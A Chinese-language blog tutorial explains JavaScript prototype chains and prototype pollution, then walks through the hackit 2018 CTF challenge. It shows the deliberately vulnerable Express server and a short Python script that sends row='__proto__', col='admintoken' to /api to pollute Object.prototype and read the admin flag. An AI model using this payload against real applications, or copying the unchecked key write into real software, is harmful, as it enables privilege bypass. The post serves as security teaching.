网络安全-原型链污染

news2024/9/17 21:03:17

目录

一、简单介绍一下原型链

二、举个例子

三、那原型链污染是什么呢

四、我们来看一道题-hackit 2018

4.1 环境

4.2开始解题

4.3 解答:


一、简单介绍一下原型链

JavaScript 常被描述为一种基于原型的语言 (prototype-based language)——每个对象拥有一个原型对象,对象以其原型为模板、从原型继承方法和属性。原型对象也可能拥有原型,并从中继承方法和属性,一层一层、以此类推。这种关系常被称为原型链 (prototype chain)。

二、举个例子

描述一下:

function Father() {
    this.first_name = 'Donald'
    this.last_name = 'Trump'
}

function Son() {
    this.first_name = 'Melania'
}

Son.prototype = new Father()

let son = new Son()
console.log(`Name: ${son.first_name} ${son.last_name}`)

Son类继承了Father类的last_name属性,最后输出的是Name: Melania Trump

总结一下,对于对象son,在调用son.last_name的时候,实际上JavaScript引擎会进行如下操作:

  1. 在对象son中寻找last_name

  2. 如果找不到,则在son.__proto__中寻找last_name

  3. 如果仍然找不到,则继续在son.__proto__.__proto__中寻找last_name

  4. 依次寻找,直到找到null结束。比如,Object.prototype__proto__就是null

三、那原型链污染是什么呢

foo.__proto__指向的是Foo类的prototype。那么,如果我们修改了foo.__proto__中的值,是不是就可以修改Foo类呢?

我们做一个简单的实验

// foo是一个简单的JavaScript对象
let foo = {bar: 1}

// foo.bar 此时为1
console.log(foo.bar)

// 修改foo的原型(即Object)
foo.__proto__.bar = 2

// 由于查找顺序的原因,foo.bar仍然是1
console.log(foo.bar)

// 此时再用Object创建一个空的zoo对象
let zoo = {}

// 查看zoo.bar
console.log(zoo.bar)

结果: 

原因也显而易见:因为前面我们修改了foo的原型foo.__proto__.bar = 2,而foo是一个Object类的实例,所以实际上是修改了Object这个类,给这个类增加了一个属性bar,值为2。

后来,我们又用Object类创建了一个zoo对象let zoo = {},zoo对象自然也有一个bar属性了。

那么,在一个应用中,如果攻击者控制并修改了一个对象的原型,那么将可以影响所有和这个对象来自同一个类、父祖类的对象。这种攻击方式就是原型链污染

四、我们来看一道题-hackit 2018

4.1 环境

我们将代码复制到js文件中,随便写个js,之后在官网下载node.js

const express = require('express')
var hbs = require('hbs');
var bodyParser = require('body-parser');
const md5 = require('md5');
var morganBody = require('morgan-body');
const app = express();
var user = []; //empty for now

var matrix = [];
for (var i = 0; i < 3; i++){
    matrix[i] = [null , null, null];
}

function draw(mat) {
    var count = 0;
    for (var i = 0; i < 3; i++){
        for (var j = 0; j < 3; j++){
            if (matrix[i][j] !== null){
                count += 1;
            }
        }
    }
    return count === 9;
}

app.use(express.static('public'));
app.use(bodyParser.json());
app.set('view engine', 'html');
morganBody(app);
app.engine('html', require('hbs').__express);

app.get('/', (req, res) => {

    for (var i = 0; i < 3; i++){
        matrix[i] = [null , null, null];

    }
    res.render('index');
})


app.get('/admin', (req, res) => { 
    /*this is under development I guess ??*/
    console.log(user.admintoken);
    if(user.admintoken && req.query.querytoken && md5(user.admintoken) === req.query.querytoken){
        res.send('Hey admin your flag is <b>flag{prototype_pollution_is_very_dangerous}</b>');
    } 
    else {
        res.status(403).send('Forbidden');
    }    
}
)


app.post('/api', (req, res) => {
    var client = req.body;
    var winner = null;

    if (client.row > 3 || client.col > 3){
        client.row %= 3;
        client.col %= 3;
    }
    matrix[client.row][client.col] = client.data;
    for(var i = 0; i < 3; i++){
        if (matrix[i][0] === matrix[i][1] && matrix[i][1] === matrix[i][2] ){
            if (matrix[i][0] === 'X') {
                winner = 1;
            }
            else if(matrix[i][0] === 'O') {
                winner = 2;
            }
        }
        if (matrix[0][i] === matrix[1][i] && matrix[1][i] === matrix[2][i]){
            if (matrix[0][i] === 'X') {
                winner = 1;
            }
            else if(matrix[0][i] === 'O') {
                winner = 2;
            }
        }
    }

    if (matrix[0][0] === matrix[1][1] && matrix[1][1] === matrix[2][2] && matrix[0][0] === 'X'){
        winner = 1;
    }
    if (matrix[0][0] === matrix[1][1] && matrix[1][1] === matrix[2][2] && matrix[0][0] === 'O'){
        winner = 2;
    } 

    if (matrix[0][2] === matrix[1][1] && matrix[1][1] === matrix[2][0] && matrix[2][0] === 'X'){
        winner = 1;
    }
    if (matrix[0][2] === matrix[1][1] && matrix[1][1] === matrix[2][0] && matrix[2][0] === 'O'){
        winner = 2;
    }

    if (draw(matrix) && winner === null){
        res.send(JSON.stringify({winner: 0}))
    }
    else if (winner !== null) {
        res.send(JSON.stringify({winner: winner}))
    }
    else {
        res.send(JSON.stringify({winner: -1}))
    }

})
app.listen(3000, () => {
    console.log('app listening on port 3000!')
})

写一个相应的js拉取包,如下package.json

{
    "name": "my-node-app",
    "version": "1.0.0",
    "description": "A simple Node.js app for tic-tac-toe game with express, hbs, and md5.",
    "main": "app.js",
    "scripts": {
      "start": "node app.js"
    },
    "dependencies": {
      "body-parser": "^1.20.2",
      "express": "^4.18.2",
      "hbs": "^4.2.0",
      "md5": "^2.3.0",
      "morgan-body": "^2.6.9"
    },
    "author": "",
    "license": "ISC"
  }

 之后换源为淘宝源后拉取相应的npm包

 

之后启动它就会自己监听到3000端口了

4.2开始解题

它定义了一个空数组然后给了三个null

继续分析,获取flag的条件是 传入的querytoken要和user数组本身的admintoken的MD5值相等,且二者都要存在 ,三个条件不符合的情况下就会给你返回一个Forbidden

解决方法:如果还有一个数组可以在admintoken值之前修改它祖先的值,而这个user没有值,但是它可以往上找,使得admintoken有值,自然就造成了原型链污染

那我们就需要去找用户可控的点,那找到了body,row,col,如何利用?

使用方法就是data得有值,而我们通过定位metrix发现它也是一个数组,user也是一个数组,那很明显在metrix上定义的原型链,user肯定可以找到,那现在如何在原型链定义

下面我们先本地测试一下:很明显我们将第一个属性放到row=__proto__,第二个属性col=admintoken,约等于我们没用点去取,而是用了数组

4.3 解答:

import requests
import json

url1 = "http://127.0.0.1:3000/api"
url2 = "http://127.0.0.1:3000/admin?querytoken=a3c23537bfc1e2da4a511661547d65fb"

s = requests.session()

headers = {"Content-Type": "application/json"}
data1 = {"row":"__proto__","col":"admintoken","data":"sunsec"}

res1 = s.post(url1, headers=headers, data=json.dumps(data1))
res2 = s.get(url2)

print(res2.text)

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2124098.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

MySQL基础——DQL

DQL&#xff08;Data Query Language&#xff0c;数据查询语言&#xff09;是SQL中的一个子集&#xff0c;主要用于查询数据库中的数据。DQL的核心语句是 SELECT&#xff0c;它用于从一个或多个表中提取数据&#xff0c;并能够通过各种条件进行过滤、排序和聚合操作。下面是DQL…

Android解析XML格式数据

文章目录 Android解析XML格式数据搭建Web服务器Pull解析方式SAX解析方式 Android解析XML格式数据 通常情况下&#xff0c;每个需要访问网络的应用程序都会有一个自己的服务器&#xff0c;我们可以向服务器提交数据&#xff0c;也可以从服务器上获取数据。不过这个时候就出现了…

Vant 按需引入导致 Typescript,eslint 报错问题

目录 1&#xff0c;按需引入问题2&#xff0c;Typescript 报错解决3&#xff0c;eslint 报错解决 1&#xff0c;按需引入问题 vant4 通过按需引入的配置 使用组件时&#xff0c;会同时将样式自动导入。 所以可直接使用相关的 API 方法&#xff0c;样式也没有问题。比如&#…

如何使用VeilTransfer评估和提升组织的数据安全态势

关于VeilTransfer VeilTransfer是一款功能强大的企业数据安全检测与增强工具&#xff0c;该工具基于Go语言开发&#xff0c;旨在帮助广大研究人员完成企业环境下的数据安全测试并增强检测能力。 此工具模拟了高级威胁行为者使用的真实数据泄露技术&#xff0c;使组织能够评估和…

基于SpringBoot的求职招聘管理系统

作者&#xff1a;计算机学姐 开发技术&#xff1a;SpringBoot、SSM、Vue、MySQL、JSP、ElementUI等&#xff0c;“文末源码”。 专栏推荐&#xff1a;前后端分离项目源码、SpringBoot项目源码、SSM项目源码 系统展示 【2025最新】基于JavaSpringBootVueMySQL的求职招聘管理系统…

1.10 DFT示例2

1.10 DFT示例2 1.10.2 一个通用正弦波 通过将复正弦波的表达式代入DFT的定义&#xff0c;并按照矩形序列示例中的相同步骤&#xff0c;可以类似地推导出通用正弦波的DFT。 尽管如此&#xff0c;在理解了上述概念后&#xff0c;我们可以通过一种更简单的方法看到一般正弦波的…

校园二手数码交易系统小程序的设计

管理员账户功能包括&#xff1a;系统首页&#xff0c;个人中心&#xff0c;卖家管理&#xff0c;用户管理&#xff0c;二手商品管理&#xff0c;商品类型管理&#xff0c;商品求购管理&#xff0c;用户通知管理&#xff0c;退货管理 微信端账号功能包括&#xff1a;系统首页&a…

索尼发布新款PS5 Pro主机 算力与定价齐飞 9成玩家感叹“价格贵”

北京时间周二深夜&#xff0c;消费电子大厂索尼如期发布游戏主机PlayStation 5的升级版本PS5 Pro。虽然机器参数与事前预期完全一致&#xff0c;但发布会后仍然出现了舆论争议——索尼的定价超出预期了。 &#xff08;PS5首席架构师马克塞尔尼发布新机器&#xff0c;来源&#…

Python编码系列—Python项目维护与迭代:持续进化的艺术

&#x1f31f;&#x1f31f; 欢迎来到我的技术小筑&#xff0c;一个专为技术探索者打造的交流空间。在这里&#xff0c;我们不仅分享代码的智慧&#xff0c;还探讨技术的深度与广度。无论您是资深开发者还是技术新手&#xff0c;这里都有一片属于您的天空。让我们在知识的海洋中…

面试官:聊聊MySQL的binlog

前言 MySQL 日志 主要包括错误日志、查询日志、慢查询日志、事务日志、二进制日志几大类。 其中&#xff0c;比较重要的还要属二进制日志 binlog&#xff08;归档日志&#xff09;和事务日志 redo log&#xff08;重做日志&#xff09;和 undo log&#xff08;回滚日志&#…

idea中git提交的代码回退到指定版本

一.先在本地仓库回退到指定版本的代码 选中项目&#xff0c;右键依次点击【Git】——>【Show History】&#xff0c;如下图&#xff1a; 2. 查看提交到远程仓库的git记录&#xff0c;下图中为每次提交的git记录&#xff0c;回退到其中一个指定的即可&#xff0c;如下图&…

ICM20948 DMP代码详解(13)

接前一篇文章&#xff1a;ICM20948 DMP代码详解&#xff08;12&#xff09; 上一回完成了对inv_icm20948_set_chip_to_body_axis_quaternion函数第2步即inv_rotation_to_quaternion函数的解析。回到inv_icm20948_set_chip_to_body_axis_quaternion中来&#xff0c;继续往下进行…

开放式激光振镜运动控制器在Ubuntu+Qt下的文本标刻

开放式激光振镜运动控制器在UbuntuQt下的文本标刻 上节课程我们讲述了如何通过UbuntuQt进行振镜校正&#xff08;详情点击→开放式激光振镜运动控制器在UbuntuQt下的激光振镜校正&#xff09;&#xff0c;本节文本标刻是在振镜校正的前提下实现的。 在正式学习之前&#xff0…

首个大模型供应链安全领域的国际标准,WDTA《大模型供应链安全要求》标准解读

9月6日,WDTA世界数字技术院在2024 外滩大会上正式发布了国际标准《大模型供应链安全要求》。这一标准为管理大型语言模型(LLM)供应链中的安全风险提出了系统性的框架,涵盖了LLM的整个生命周期,从开发、训练到部署和维护,为每个阶段提供了详尽的指导。 文末附标准获取方式 一…

re题(17)BUUCTF-[BJDCTF2020]JustRE

BUUCTF在线评测 (buuoj.cn) 放到ida&#xff0c;shiftF12可以直接看到有个类似flag的字符串&#xff0c;可以跳转过去 这里我们先不跳转&#xff0c;进入main&#xff08;&#xff09;的各个函数看一下 找到flag 本题学到一堆c的系统库函数

ImDisk Toolkit将一部分RAM模拟成硬盘分区

ImDisk Toolkit 是一个用于虚拟磁盘管理的工具&#xff0c;它可以将 RAM&#xff08;一部分内存&#xff09;模拟成硬盘分区&#xff0c;从而创建一个高速的临时存储空间&#xff0c;通常称为“RAM Disk”。以下是如何使用 ImDisk Toolkit 来将一部分 RAM 模拟成硬盘分区的步骤…

C++ | Leetcode C++题解之第398题随机数索引

题目&#xff1a; 题解&#xff1a; class Solution {vector<int> &nums; public:Solution(vector<int> &nums) : nums(nums) {}int pick(int target) {int ans;for (int i 0, cnt 0; i < nums.size(); i) {if (nums[i] target) {cnt; // 第 cnt 次…

Python OpenCV精讲系列 - 高级图像处理技术(三)

&#x1f496;&#x1f496;⚡️⚡️专栏&#xff1a;Python OpenCV精讲⚡️⚡️&#x1f496;&#x1f496; 本专栏聚焦于Python结合OpenCV库进行计算机视觉开发的专业教程。通过系统化的课程设计&#xff0c;从基础概念入手&#xff0c;逐步深入到图像处理、特征检测、物体识…

高效+灵活,万博智云全球发布AWS无代理跨云容灾方案!

摘要 近日&#xff0c;万博智云推出了基于AWS的无代理跨云容灾解决方案&#xff0c;并与拉丁美洲&#xff0c;中东&#xff0c;亚洲的合作伙伴面向全球开展了联合发布。这一方案以AWS应用环境为基础&#xff0c;将HyperBDR平台的高效、灵活和成本效益优势与无代理功能相结合&a…

HAProxy--高性能反向代理

文章目录 Web架构负载均衡介绍为什么使用负载均衡负载均衡类型 HAProxy简介应用场景HAProxy是什么HAProxy功能 脚本安装HAProxy基础配置global多进程和线程HAProxy日志配置项 Proxies配置-listen-frontend-backendserver配置 frontendbackend配置实例子配置文件 HAProxy调度算法…